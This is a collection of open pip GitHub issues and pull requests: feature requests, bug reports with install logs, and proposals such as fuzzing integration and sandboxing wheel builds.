warning: no previously-included files found matching 'src/pip/_vendor/six/moves'
warning: no previously-included files matching '*.pyi' found under directory 'src/pip/_vendor'
no previously-included directories found matching '.github'
no previously-included directories found matching 'docs/build'
no previously-included directories found matching 'news'
no previously-included directories found matching 'tasks'
no previously-included directories found matching 'tests'
no previously-included directories found matching 'tools'
=========================== short test summary info ============================
FAILED tests/functional/test_list.py::test_local_flag - RuntimeError: stderr ...
============================== 1 failed in 12.67s ==============================
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: mgorny
labels: C: tests: Testing and related things
type: maintenance: Related to Development and Maintenance Processes
issue_11109: state: open
title: Provide CLI users with a bash command to update their PATH
body: ### What's the problem this feature will solve?

When installing a new package I'm coming across error messages that the script doesn't exist in my PATH. It would be really nice if a bash command was supplied to add the command to my ```.bash_profile, .profile, .zshrc``` or equivalent shell profile. 

The errors could also be consolidated to read all the following packages where not found in your PATH, run the following to update your PATH. This would cut down on the logs which currently repeat the same PATH warning several times

### Describe the solution you'd like

Consolidate all warnings for ```"script SCRIPT_NAME installed at LOCAL_LOCATION which is not on PATH"``` into a single error message. Provide a user with a single command to update their .profile and PATH with the proper values for all offending scripts when installing a new package

### Alternative Solutions

Detect what shell a user is using and attempt to automatically update their path for them. Alternatively provide users with a prompt if they want pip to attempt updating their local rc file. 

### Additional context

```
WARNING: The script {SCRIPT_NAME} is installed in {PATH_TO_LOCAL_BIN} which is not on PATH.
Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: burt23
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11107: state: open
title: Consolidate InsecureRequestWarnings - Display only once
body: ### What's the problem this feature will solve?

When installing a new package from a trusted host (i.e. work VPN network) I'm prompted with a warning for ```InsecureRequestWarning: Unverified HTTPS request is being made to host '{HOST}'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings```. 

Overall this is a great message, but as a developer I really only want to see this message one time, rather than for each package being downloaded. Not only would this help clean up the logs it would provide for a better developer experience. 

In my work repo we see this error show up about 15 times, reducing to once at the top of the logs would be greatly appreciated. 

Thanks!!

### Describe the solution you'd like

Only show the ```InsecureRequestWarning``` message one time at the top of the log stream

### Alternative Solutions

If ```InsecureRequestWarning(s)``` are detected, prompt a user if they want to continue for all, deny for all, or approve package by package. 

### Additional context

Below is the command I ran to generate the errors

```pip install -U --trusted-host HOST_SERVER -i REPO_URL PACKAGE_NAME```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: burt23
labels: C: proxy: Dealing with proxies and networking
S: needs triage: Issues/PRs that need to be triaged
state: needs reproducer: Need to reproduce issue
issue_11104: state: open
title: Fuzzing integration with OSS-Fuzz
body: ### What's the problem this feature will solve?

This feature will solve the problem of identifying any issues that may exist in Pip by way of fuzzing. Fuzzing is a technique for automatic test-case generation and is prevalent in memory unsafe languages. Recently, more and more effort is put into fuzzing of memory safe languages, and Python is one of those. The goal for now is to catch any unexpected exceptions.

### Describe the solution you'd like

It would be nice to integrate with OSS-Fuzz as OSS-Fuzz handles a lot of the management around running a fuzzing infrastructure. Essentially, OSS-Fuzz is a free service run by Google that performs continuous fuzzing of important open source projects. The only expectation of integrating into OSS-Fuzz is that bugs will be fixed. This is not a "hard" requirement in that no one enforces this and the main point is if bugs are not fixed then it is a waste of resources to run the fuzzers, which we would like to avoid. The fuzzing set up on the OSS-Fuzz side relies on Atheris fuzzer (https://github.com/google/atheris) to perform the fuzzing.

### Alternative Solutions

N/A.

### Additional context

Given the popularity of pip I was thinking that it would be nice to set up continuous fuzzing of pip by way of OSS-Fuzz. In this PR: https://github.com/google/oss-fuzz/pull/7662 I have done exactly that, namely created the necessary logic from an OSS-Fuzz perspective to integrate pip. This includes developing an initial fuzzer for loading requirements files as well as the necessary glue for working with OSS-Fuzz. Down the line it is preferable to have the fuzzers upstream but it can be convenient to have on OSS-Fuzz to begin with.

If you would like to integrate, the only thing I need is as list of email(s) that will get access to the data produced by OSS-Fuzz, such as bug reports, coverage reports and more stats. Notice the emails affiliated with the project will be public in the OSS-Fuzz repo, as they will be part of a configuration file.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: DavidKorczynski
issue_11092: state: open
title: optimize package installation for space and speed by using copy-on-write file clones ("reflinks") and storing wheel cache unpacked
body: ### What's the problem this feature will solve?

Creating a new virtual environment in a modern Python project can be quite slow, sometimes on the order of tens of seconds even on very high-end hardware, once you have a lot of dependencies.  It also takes up a lot of space; my `~/.virtualenvs/` is almost 3 gigabytes, and this is a relatively new machine; and that isn't even counting my `~/.local/pipx`, which is another 434M.

### Describe the solution you'd like

Rather than unpacking and duplicating all the data in wheels, pip could store the cache unpacked, so all the files are already on the filesystem, and then clone them into place on copy-on-write filesystems rather than copying them.  While there may be other bottlenecks, this would also reduce disk usage by an order of magnitude. (My `~/Library/Caches/pip` is only 256M, and presumably all those virtualenvs contain multiple full, uncompressed copies of it!)

### Alternative Solutions

You could get a similar reduction effect by setting up an import hook, using zipimport, or doing some kind of `.pth` file shenanigans but I feel like those all have significant drawbacks.

### Additional context

Given that platforms generally use shared memory-maps for shared object files, if it's done right this could additionally reduce the memory footprint of python interpreters in different virtualenvs with large C extensions loaded.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: glyph
labels: S: awaiting response: Waiting for a response/more information
type: feature request: Request for a new feature
issue_11091: state: open
title: Make proxy parameter override environment proxy
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->
Closes #10685 
ref: https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env
user: q0w
issue_11088: state: open
title: Check unsupported packages
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->
Closes #11054 
user: q0w
issue_11083: state: open
title: Standardise link repr in logs
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->
Closes #7390
ref: https://github.com/pypa/pip/pull/10276#issuecomment-922245044
user: q0w
issue_11072: state: open
title: Implement per-index binary/source format restriction (pypa#11071)
body: In some environments it is preferred to consume only source files
from some indexes, while consuming wheels from others.
This change enables this scenario and exposes it via a new token
":index:..." allowed within --no-binary and --only-binary options.

Example usage::
```
pip install blah --extra-index-url 'https://trusted-binaries.local' -no-binary ':index:https://pypi.org'
```
user: f3flight
labels: needs rebase or merge: PR has conflicts with current master
issue_11071: state: open
title: Allow --no-binary and --only-binary per index
body: ### What's the problem this feature will solve?

In our environment we prefer to consume only source artifacts from the outside world, but not binaries (for ex. wheels). Currently we have to do funky stuff like `pip download --no-binary :all: ...` + some code to replace downloaded sdists with internally available wheels if version matches + we have a problem with build dependencies and setup dependencies.

### Describe the solution you'd like

Add support for a new token `:index:<http...>` in `--no-binary` and `--only-binary` handlers. `<http...>` is a URL which will be compared against `Link.comes_from` in `LinkEvaluator` (where most other binary vs source logic is also located).

Example use case:

```
pip install blah --extra-index-url https://my-trusted-wheels-source.local --no-binary ":index:https://pypi.org"
```

Result:

- all wheels found on `pypi.org` are skipped.
- wheels on `my-trusted-wheels-source.local` are not skipped.

### Alternative Solutions

Our team was not able to find a reliable workaround for this scenario.

### Additional context

N/A

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: f3flight
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_11060: state: open
title: Block `requirements(\-.*)?\.txt` on accidental installation
body: ### What's the problem this feature will solve?

Many repository contains different `requirements.txt` files such as `requirements-test.txt`, `requirements-dev.txt`, etc. Many people accidentally try `pip install requirements-blabla.txt` without `-r` option. I suggest pip to use regex to block specific pattern to prevent accidental downloading potential malware.

### Describe the solution you'd like

Block `requirements(\-.*)?\.txt` on `pip install`.

### Alternative Solutions

There are some safeguard packages like [this](https://pypi.org/project/requirements-dev.txt/), but that's not enough..

### Additional context

https://pip.pypa.io/en/stable/user_guide/#requirements-files

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: MinsungKim-BlockCrafters
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_11058: state: open
title: Test suite appears to have a dependency on the user's global git config
body: ### Description

I have `init.defaultbranch=main` in my git config, and a bunch of tests are failing with `AssertionError: assert 'main' == 'master'`.

I haven't looked in detail at these, but it looks like the global config is leaking into the tests.

### Expected behavior

Test suite runs the same regardless of the user's configuration.

### pip version

main branch

### Python version

3.10

### OS

Windows 11

### How to Reproduce

Run the test suite with `init.defaultbranch=main` in your global git config. About 13 tests fail.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: pfmoore
labels: type: bug: A confirmed bug or unintended behavior
C: tests: Testing and related things
issue_11054: state: open
title: pip list is unable to mention architecture
body: ### Description

If someone happens to upgrade from intel to aarch64, pip will not be able to help him identify any packages that are using wrong architecture. They would have to either uninstall or use `install --force` in order to address the issue.


### Expected behavior

At least the JSON output of pip list should mention architecture when that is avaiable but now it does not do this:
```
python -m pip list --format=json
```

Ideally pip should all be smart enough to detect a mismatch in architecture and ignore or warn about mismatched packages. For example `pip check` would be a good candidate for that too.

### pip version

22.0.4

### Python version

3.11.3

### OS

MacOS

### How to Reproduce

It might be harder to reproduce the way I got into it, as I used Apple Migration Assistant to migrate from old computer to the new one but I guess you could just force pip to install a binary wheel using a different architecture.

Once this happens, you are kinda clueless if the wheel is usable or not, at least until you try to do an import from the binary parts.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ssbarnea
labels: state: awaiting PR: Feature discussed, PR is needed
type: feature request: Request for a new feature
issue_11051: state: open
title: fix svn and bazaar failing to checkout in verbose mode
body: Closes: https://github.com/pypa/pip/issues/11050
user: devsagul
labels: needs rebase or merge: PR has conflicts with current master
issue_11050: state: open
title: Failed to install a module from svn if verbose mode is on
body: ### Description

Running `pip3 install -v svn+ssh://this.url.does.not.exist` fails because it tries to call `svn checkout '' --force-interactive svn+ssh://this.url.does.not.exist <tmp-dir>` which fails, due to argument `''` not being a valid URL for checkout.

The bug was introduced in 22.0.0 while making it possible to propagate verbose mode to the underlying tools.

### Expected behavior

`pip3 install -v svn+ssh://this.url.does.not.exist` should fail, because `this.url.does.not.exist` is not an existing URL for a svn repo, like in non-verbose mode:
```
Running command svn checkout --quiet --force-interactive svn+ssh://this.url.does.not.exist <tmp-dir>
  svn: E170013: Unable to connect to a repository at URL 'svn+ssh://this.url.does.not.exist'
```

### pip version

22.0.4

### Python version

3.10.2

### OS

linux

### How to Reproduce

  1. Run `python3 -m pip install --upgrade pip==22.0.4`
  2. Run `python3 -m pip install -v svn+ssh://this.url.does.not.exist`

### Output

```sh-session
$ python3 -m pip install --upgrade pip==22.0.4
Requirement already satisfied: pip==22.0.4 in ./.venv/lib/python3.10/site-packages (22.0.4)
$ python3 -m pip install -v svn+ssh://this.url.does.not.exist
Using pip 22.0.4 from /home/devsagul/projects/oss/pip/.venv/lib/python3.10/site-packages/pip (python 3.10)
Collecting svn+ssh://this.url.does.not.exist
  Checking out svn+ssh://this.url.does.not.exist to /tmp/pip-req-build-6ehjzgc7
  Running command svn --version
  svn, version 1.14.1 (r1886195)
     compiled Dec  2 2021, 22:24:51 on x86_64-pc-linux-gnu

  Copyright (C) 2021 The Apache Software Foundation.
  This software consists of contributions made by many people;
  see the NOTICE file for more information.
  Subversion is open source software, see http://subversion.apache.org/

  The following repository access (RA) modules are available:

  * ra_svn : Module for accessing a repository using the svn network protocol.
    - with Cyrus SASL authentication
    - handles 'svn' scheme
  * ra_local : Module for accessing a repository on local disk.
    - handles 'file' scheme
  * ra_serf : Module for accessing a repository via WebDAV protocol using serf.
    - using serf 1.3.9 (compiled with 1.3.9)
    - handles 'http' scheme
    - handles 'https' scheme

  The following authentication credential caches are available:

  * Gnome Keyring
  * GPG-Agent
  * KWallet (KDE)

  Running command svn checkout '' --force-interactive svn+ssh://this.url.does.not.exist /tmp/pip-req-build-6ehjzgc7
  svn: E125002: '' does not appear to be a URL
  error: subprocess-exited-with-error
  
  × svn checkout '' --force-interactive svn+ssh://this.url.does.not.exist /tmp/pip-req-build-6ehjzgc7 did not run successfully.
  │ exit code: 1
  ╰─> See above for output.
  
  note: This error originates from a subprocess, and is likely not a problem with pip.
  full command: svn checkout '' --force-interactive svn+ssh://this.url.does.not.exist /tmp/pip-req-build-6ehjzgc7
  cwd: [inherit]
error: subprocess-exited-with-error

× svn checkout '' --force-interactive svn+ssh://this.url.does.not.exist /tmp/pip-req-build-6ehjzgc7 did not run successfully.
│ exit code: 1
╰─> See above for output.

note: This error originates from a subprocess, and is likely not a problem with pip.
```
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: devsagul
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11048: state: open
title: Forward --no-color to the rich.Console instance
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->
Closes #11045 
user: q0w
issue_11045: state: open
title: --no-color not respected by download progress bar output
body: ### Description

--no-color not respected by download progress bar output

### Expected behavior

_No response_

### pip version

22.0.4

### Python version

3.9.12

### OS

macOS

### How to Reproduce

`pip install numpy --no-cache-dir --no-color`, for example, produces color.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: matsaman
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11043: state: open
title: Make pip gracefully detect git servers that don't support `--filter=blob:none`
body: ### Description

This behaviour is observed since pip version 21.3 which has the changes for (#9086)

The change introduces the addition of the --filter=blob:none option for git clone when installing a pip package from a git repo. As a result of the change, the repo package that I'm trying to install errors out with the following signature

```
(fast2) ➜  ~ pip install zcsdgapi@git+https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git
Collecting zcsdgapi@ git+https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git
  Cloning https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git to /private/var/folders/z5/f81ktg8d5ng_pskb9wg2q4qr0000gn/T/pip-install-_jsv_zuz/zcsdgapi_e5a7fb3aae9d4eef9d8d91c42547d486
  Running command git clone --filter=blob:none -q https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git /private/var/folders/z5/f81ktg8d5ng_pskb9wg2q4qr0000gn/T/pip-install-_jsv_zuz/zcsdgapi_e5a7fb3aae9d4eef9d8d91c42547d486
  fatal: bad revision '43995bd42fa23bbc4c3a59d5fb9da99042fcf139'
  error: https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git did not send all necessary objects

  fatal: bad revision '43995bd42fa23bbc4c3a59d5fb9da99042fcf139'
  error: https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git did not send all necessary objects
```

The problem is reproduced on a mac terminal and ubuntu terminal , git versions are 
OSX
```
(fast2) ➜  ~ git --version
git version 2.32.0 (Apple Git-132)
(fast2) ➜  ~ and 
```
UBUNTU
```
$ git --version
git version 2.25.1
```


The complete workflow I performed is attached below. When trying with pip version 21.2.4 the install works correctly, when attempting with 21.3 it fails and the git clone command can be seen with the filter=blob:none flags set.

```
(fast2) ➜  ~ pip install --upgrade pip==21.2.4
Collecting pip==21.2.4
  Using cached pip-21.2.4-py3-none-any.whl (1.6 MB)
Installing collected packages: pip
  Attempting uninstall: pip
    Found existing installation: pip 21.2.3
    Uninstalling pip-21.2.3:
      Successfully uninstalled pip-21.2.3
ERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.
fast 22.4.15 requires zcsdgapi@ git+https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git, which is not installed.
Successfully installed pip-21.2.4
(fast2) ➜  ~ pip install zcsdgapi@git+https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git
Collecting zcsdgapi@ git+https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git
  Cloning https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git to /private/var/folders/z5/f81ktg8d5ng_pskb9wg2q4qr0000gn/T/pip-install-nir9f8fj/zcsdgapi_77ada8a7032f41c0a49a2ffb2cf02c19
  Running command git clone -q https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git /private/var/folders/z5/f81ktg8d5ng_pskb9wg2q4qr0000gn/T/pip-install-nir9f8fj/zcsdgapi_77ada8a7032f41c0a49a2ffb2cf02c19
  Resolved https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git to commit 26390c3b0eb26c94a8702af9d2a734faba4bcd8d
Requirement already satisfied: urllib3>=1.15 in ./.pyenv/versions/3.10.0/envs/fast2/lib/python3.10/site-packages (from zcsdgapi@ git+https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git) (1.26.9)
Requirement already satisfied: six>=1.10 in ./.pyenv/versions/3.10.0/envs/fast2/lib/python3.10/site-packages (from zcsdgapi@ git+https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git) (1.16.0)
Requirement already satisfied: certifi in ./.pyenv/versions/3.10.0/envs/fast2/lib/python3.10/site-packages (from zcsdgapi@ git+https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git) (2021.10.8)
Requirement already satisfied: python-dateutil in ./.pyenv/versions/3.10.0/envs/fast2/lib/python3.10/site-packages (from zcsdgapi@ git+https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git) (2.8.2)
Using legacy 'setup.py install' for zcsdgapi, since package 'wheel' is not installed.
Installing collected packages: zcsdgapi
    Running setup.py install for zcsdgapi ... done
Successfully installed zcsdgapi-6.1.0
WARNING: You are using pip version 21.2.4; however, version 22.0.4 is available.
You should consider upgrading via the '/Users/achari/.pyenv/versions/3.10.0/envs/fast2/bin/python3.10 -m pip install --upgrade pip' command.
(fast2) ➜  ~ pip uninstall zcsdgapi
Found existing installation: zcsdgapi 6.1.0
Uninstalling zcsdgapi-6.1.0:
  Would remove:
    /Users/achari/.pyenv/versions/3.10.0/envs/fast2/lib/python3.10/site-packages/zcsdgapi-6.1.0-py3.10.egg-info
    /Users/achari/.pyenv/versions/3.10.0/envs/fast2/lib/python3.10/site-packages/zcsdgapi/*
Proceed (Y/n)? Y
  Successfully uninstalled zcsdgapi-6.1.0
(fast2) ➜  ~ pip install --upgrade pip==21.3
Collecting pip==21.3
  Using cached pip-21.3-py3-none-any.whl (1.7 MB)
Installing collected packages: pip
  Attempting uninstall: pip
    Found existing installation: pip 21.2.4
    Uninstalling pip-21.2.4:
      Successfully uninstalled pip-21.2.4
ERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.
fast 22.4.15 requires zcsdgapi@ git+https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git, which is not installed.
Successfully installed pip-21.3
(fast2) ➜  ~ pip install zcsdgapi@git+https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git
Collecting zcsdgapi@ git+https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git
  Cloning https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git to /private/var/folders/z5/f81ktg8d5ng_pskb9wg2q4qr0000gn/T/pip-install-_jsv_zuz/zcsdgapi_e5a7fb3aae9d4eef9d8d91c42547d486
  Running command git clone --filter=blob:none -q https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git /private/var/folders/z5/f81ktg8d5ng_pskb9wg2q4qr0000gn/T/pip-install-_jsv_zuz/zcsdgapi_e5a7fb3aae9d4eef9d8d91c42547d486
  fatal: bad revision '43995bd42fa23bbc4c3a59d5fb9da99042fcf139'
  error: https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git did not send all necessary objects

  fatal: bad revision '43995bd42fa23bbc4c3a59d5fb9da99042fcf139'
  error: https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git did not send all necessary objects
```

### Expected behavior

pip install package from a git repo is expected to work as it did before pip version 21.3 and install the package successfully.

### pip version

21.3

### Python version

3.8, 3.9 and 3.10.0

### OS

Mac OS and Ubuntu, docker python3.8:latest

### How to Reproduce

1. Install python3.8 and higher and pip version 21.3 and higher
2. Install a package from a git repo (dont know if there are server side settings required to get this reproduced as we dont have access to the server settings we are installing from)
3. the fatal error seen as below

The complete workflow I performed is attached below. When trying with pip version 21.2.4 the install works correctly, when attempting with 21.3 it fails and the git clone command can be seen with the filter=blob:none flags set.



### Output

```sh-session
(fast2) ➜  ~ pip install --upgrade pip==21.3
Collecting pip==21.3
  Using cached pip-21.3-py3-none-any.whl (1.7 MB)
Installing collected packages: pip
  Attempting uninstall: pip
    Found existing installation: pip 21.2.4
    Uninstalling pip-21.2.4:
      Successfully uninstalled pip-21.2.4
ERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.
fast 22.4.15 requires zcsdgapi@ git+https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git, which is not installed.
Successfully installed pip-21.3
(fast2) ➜  ~ pip install zcsdgapi@git+https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git
Collecting zcsdgapi@ git+https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git
  Cloning https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git to /private/var/folders/z5/f81ktg8d5ng_pskb9wg2q4qr0000gn/T/pip-install-_jsv_zuz/zcsdgapi_e5a7fb3aae9d4eef9d8d91c42547d486
  Running command git clone --filter=blob:none -q https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git /private/var/folders/z5/f81ktg8d5ng_pskb9wg2q4qr0000gn/T/pip-install-_jsv_zuz/zcsdgapi_e5a7fb3aae9d4eef9d8d91c42547d486
  fatal: bad revision '43995bd42fa23bbc4c3a59d5fb9da99042fcf139'
  error: https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git did not send all necessary objects

  fatal: bad revision '43995bd42fa23bbc4c3a59d5fb9da99042fcf139'
  error: https://bitbucket.corp.zscaler.com/scm/eio/zcsdgapi.git did not send all necessary objects
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: anichari
labels: type: enhancement: Improvements to functionality
C: vcs: pip's interaction with version control systems like git, svn and bzr
state: awaiting PR: Feature discussed, PR is needed
issue_11034: state: open
title: `pip` should drop rights when it builds wheels. Also it may make sense to sandbox the building process from i.e. introducing malware into `.bashrc` with the tools like `firejail`, if they are available in the system.
body: ### What's the problem this feature will solve?

Building a wheel results in execution of a lot of potentially vulnerable or untrustworthy code:

1. `setup.py`
2. build system
3. setuptools plugins, which can have large dependencies trees
4. variables imported from modules using `attr: ` in `setup.cfg` and `tool.setuptools.dynamic` section (it is planned to be fixed somewhen in sallow only statically parsed stuff by default).
5. console tools called by `setuptools` plugins.

There is usually no reason to call all these from a privileged user. But some packages are still available on `pypi` as sdists only, so users installing them with `sudo pip` result in them being fetched and built from root. I personally have disabled fetching anything from pypi, BTW.

The most severe issue for me is editable install. It is extremily inconvenient to rebuild wheels and reinstall them after every minorest change when developing python code that must be run from root. I know it introduces local privilege escalation, but TBH if one runs untrustworthy code on own machine, he is already deeply in danger.

The issue got more severe today because of https://github.com/pypa/setuptools_scm/issues/707 . `setuptools_scm` is a tool to get version from git tags, it calls `git` for that. But `pip` runs wheel building from root, while the source dir is usually owned by the user initiating the build. The recent fix in git to eliminate such vulnerabilities checks that the user running `git` is the same as the user owning the repo. Of course `fakeroot` is the workaround, but I think a more correct solution is needed.

### Describe the solution you'd like

1. pip should detect the user that has started it via `sudo`
2. pip should build a wheel from that user and only install from `root`
3. pip should detect if there are any sandboxing solutions present in the system, and should use it to allow wheel building process to write only to the source dir and to the build dir.

### Alternative Solutions

No.

### Additional context

* https://github.com/pypa/setuptools_scm/issues/707
* #7802

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: KOLANICH
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11032: state: open
title: Document shared cache dir
body: ### What's the problem this feature will solve?

Background: pip caches various information in the pip cache dir. Potentially, a user could configure this to reside on a shared filesystem (network mount, container/VM bound volume). Some attention appears to be paid to making this configuration work in the source (building wheel, then moving it into place) and issues with this configuration appear to be accepted in the project (for example, #11012 or #1969).

However, there is no documentation on whether configuring the cache dir on a shared filesystem is supported, or any limits or caveats of this configuration.

### Describe the solution you'd like

Document (probably in https://pip.pypa.io/en/latest/topics/caching/) that configuring the cache dir on a shared filesystem is supported, as well as any limits or caveats of such configuration.

### Alternative Solutions

As an alternative, document (probably in https://pip.pypa.io/en/latest/topics/caching/) that configuring the cache dir on a shared filesystem is not supported.

### Additional context

Some of the limitation or caveats of configuring the cache dir on a shared filesystem may also apply to one user running multiple instances of `pip` on the same machine on separate environments.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: sabik
labels: type: docs: Documentation related
type: feature request: Request for a new feature
help wanted: For requesting inputs from other members of the community
issue_11028: state: open
title: Add alias support for `install` and `uninstall`
body: As per pradyunsg's [comment](https://github.com/pypa/pip/issues/8130#issuecomment-1044947983), I have added the `i` and `u` aliases based off of McSinyx's implementation at [#8137](https://github.com/pypa/pip/pull/8137). 

In summary, this fixes issue [#8130](https://github.com/pypa/pip/issues/8130) and allows users to install packages with `i` and `add`, and uninstall packages with `u` and `remove`.

```
$ pip help
Usage:
  pip <command> [options]

Commands:
  install, add, i             Install packages.
  download                    Download packages.
  uninstall, remove, u        Uninstall packages.
...

$ pip i numpy      # or pip add numpy
Collecting numpy
  Using cached numpy-1.22.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (16.8 MB)
Installing collected packages: numpy
Successfully installed numpy-1.22.3

$ pip u numpy      # or pip remove numpy
Found existing installation: numpy 1.22.3
Uninstalling numpy-1.22.3:
  Would remove:
...
```

Credits to McSinyx for implementing the alias mechanism.
user: chloegoh
labels: needs rebase or merge: PR has conflicts with current master
issue_11024: state: open
title: Add default value to progress_bar option
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->
https://github.com/pypa/pip/pull/10930#discussion_r846988574
user: q0w
issue_11023: state: open
title: Document that NETRC environment variable is supported
body: ### What's the problem this feature will solve?

I was reading through the pip documentation for [`.netrc` support](https://pip.pypa.io/en/stable/topics/authentication/?highlight=netrc) and it doesn't appear to mention if there is any support for the `NETRC` environment variable.

It does say the `.netrc` support comes from `requests` and the stdlib `netrc` module but there is no documentation for `NETRC` environment variable in either the stdlib netrc docs or requests docs.

I did find a pull request in requests https://github.com/psf/requests/pull/5643 which implements support for `NETRC` environment variable so I'm guessing that it also applies to pip?

### Describe the solution you'd like

I would like to see the pip docs clarify whether or not the `NETRC` environment variable is supported for the pip netrc authentication.

### Alternative Solutions

I can submit a PR to update pip docs if this `NETRC` support is clarified.

### Additional context

The only documentation reference I can find anywhere mentioning `NETRC` is in the `ftp` documentation linked from the pip docs at https://www.gnu.org/software/inetutils/manual/html_node/The-_002enetrc-file.html but obviously that doesn't apply to anything python-related.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: wwuck
labels: type: docs: Documentation related
state: awaiting PR: Feature discussed, PR is needed
issue_11019: state: open
title: Potential bug on install requirements mutation during dependency resolution
body: ### Description

While working on the new resolver support in pip-tools (https://github.com/jazzband/pip-tools/pull/1539) I [ran](https://github.com/jazzband/pip-tools/pull/1539#issuecomment-1092344999) into an issue with [failing tests](https://github.com/jazzband/pip-tools/runs/5872141303?check_suite_focus=true) against pip's main branch. Using `git bisect` I've tracked down a bad commit  https://github.com/pypa/pip/commit/0c284520c6d068cb25ac89d9dbee0456c2eba23a which was introduced in https://github.com/pypa/pip/pull/10962.

The main issue with the following line: https://github.com/pypa/pip/blob/0c284520c6d068cb25ac89d9dbee0456c2eba23a/src/pip/_internal/resolution/resolvelib/factory.py#L310

... where `template` essentially is `ireqs[0]`: https://github.com/pypa/pip/blob/0c284520c6d068cb25ac89d9dbee0456c2eba23a/src/pip/_internal/resolution/resolvelib/factory.py#L258
